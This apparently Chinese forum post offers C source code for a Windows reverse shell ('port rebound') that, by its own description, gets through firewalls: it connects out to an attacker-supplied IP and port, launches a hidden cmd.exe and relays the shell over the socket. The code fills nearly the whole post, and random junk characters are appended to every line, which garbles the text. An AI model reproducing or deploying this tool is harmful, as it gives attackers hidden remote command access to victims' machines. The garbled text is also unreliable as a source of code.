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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $/90('D  
l>`N+ pZ$  
/* ============================== a\S"d  
Rebound port in Windows NT @=,2{JF*6  
By wind,2006/7 %Fig`qX  
===============================*/ @[#U_T- I  
#include .j:.?v  
#include +Mc kR  
1@q~(1-o  
#pragma comment(lib,"wsock32.lib") xT70Rp(2po  
#t:]a<3Y2  
void OutputShell(); F(>']D9$.  
SOCKET sClient; agQzA/Xt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;j])h !8X  
h>-JXuN  
void main(int argc,char **argv) lc>)7UF  
{ vZj^&/F$=g  
WSADATA stWsaData; RBIf6oxdE  
int nRet; O( G|fs  
SOCKADDR_IN stSaiClient,stSaiServer; + 5H9mk  
8:;_MBt  
if(argc != 3) &o{I9MD  
{ ?P@fV'Jo  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0JQy-hpF  
return; |!{Q4<  
} 5%"${ywI  
/tl/%:U*.  
WSAStartup(MAKEWORD(2,2),&stWsaData); %[\: 8  
biG=4?Xl  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TWYz\Hmw  
K]' 84!l  
stSaiClient.sin_family = AF_INET; Y,RED5]t  
stSaiClient.sin_port = htons(0); yaD<jc(O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Os^sOOSY  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VvN52 qeL  
{ *vv <@+gA  
printf("Bind Socket Failed!\n"); 3{RuR+yi  
return; 0#4_vg .  
} v'Ce|.;  
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stSaiServer.sin_family = AF_INET; F>jPr8&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !R;P"%PHV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (Z5=GJM?$  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fpf1^ TZ  
{ E@TX>M-&  
printf("Connect Error!"); rB;` &)-  
return; #\N?ka}!  
} ,\!4 A  
OutputShell(); N ?Jr8  
} v{`Z  
=Xze).g  
void OutputShell() UfjLNe}wA  
{ ;KJJK#j  
char szBuff[1024]; 5r"BavA  
SECURITY_ATTRIBUTES stSecurityAttributes; wGa0w*$  
OSVERSIONINFO stOsversionInfo; %AW5\ EX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f gI.q  
STARTUPINFO stStartupInfo; ov: h4  
char *szShell; [M_pf2Y  
PROCESS_INFORMATION stProcessInformation; c'OJodpa  
unsigned long lBytesRead; 7iu?Q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /]%,C   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o/buU{)y  
stSecurityAttributes.lpSecurityDescriptor = 0; @_ ^QBw0  
stSecurityAttributes.bInheritHandle = TRUE; :p@H  
`%AFKmc^;  
fHvQ9*T  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (y|{^@  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q)gZo[]~  
;OQ-T+(T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C0/s/p'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +4\JY"oi  
stStartupInfo.wShowWindow = SW_HIDE; }`6-^lj  
stStartupInfo.hStdInput = hReadPipe; *E0+!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fp4?/-]  
Dntcv|%u  
GetVersionEx(&stOsversionInfo); L]B]~Tw  
z   
switch(stOsversionInfo.dwPlatformId) T[xGF/  
{ ^!k^=ST1J  
case 1:  /Z! ,1  
szShell = "command.com"; hor ok:{  
break; OP |{R7uC  
default: HP|,AmVLl  
szShell = "cmd.exe"; S1uW`zQ!+_  
break;  w J!  
} ar+mj=m  
LW_ Y  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mmY~V:,Kd  
B;4hI?  
send(sClient,szMsg,77,0); F<BhN+U  
while(1) Zm%}AzM  
{ qA9*t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c}Jy'F7&f  
if(lBytesRead) Xfx(X4$9  
{ \s&w0V`Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q "bpI8j  
send(sClient,szBuff,lBytesRead,0); X X{:$f+  
} =N<Hc:<t4  
else +<:p`%  
{ S) V uT0  
lBytesRead=recv(sClient,szBuff,1024,0); )U<4ul  
if(lBytesRead<=0) break; la)f\Nk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fouy??  
} qTqvEa^X`  
} dcU|y%k%  
po=*%Zs*T  
return; Uvf-h4^J]:  
}
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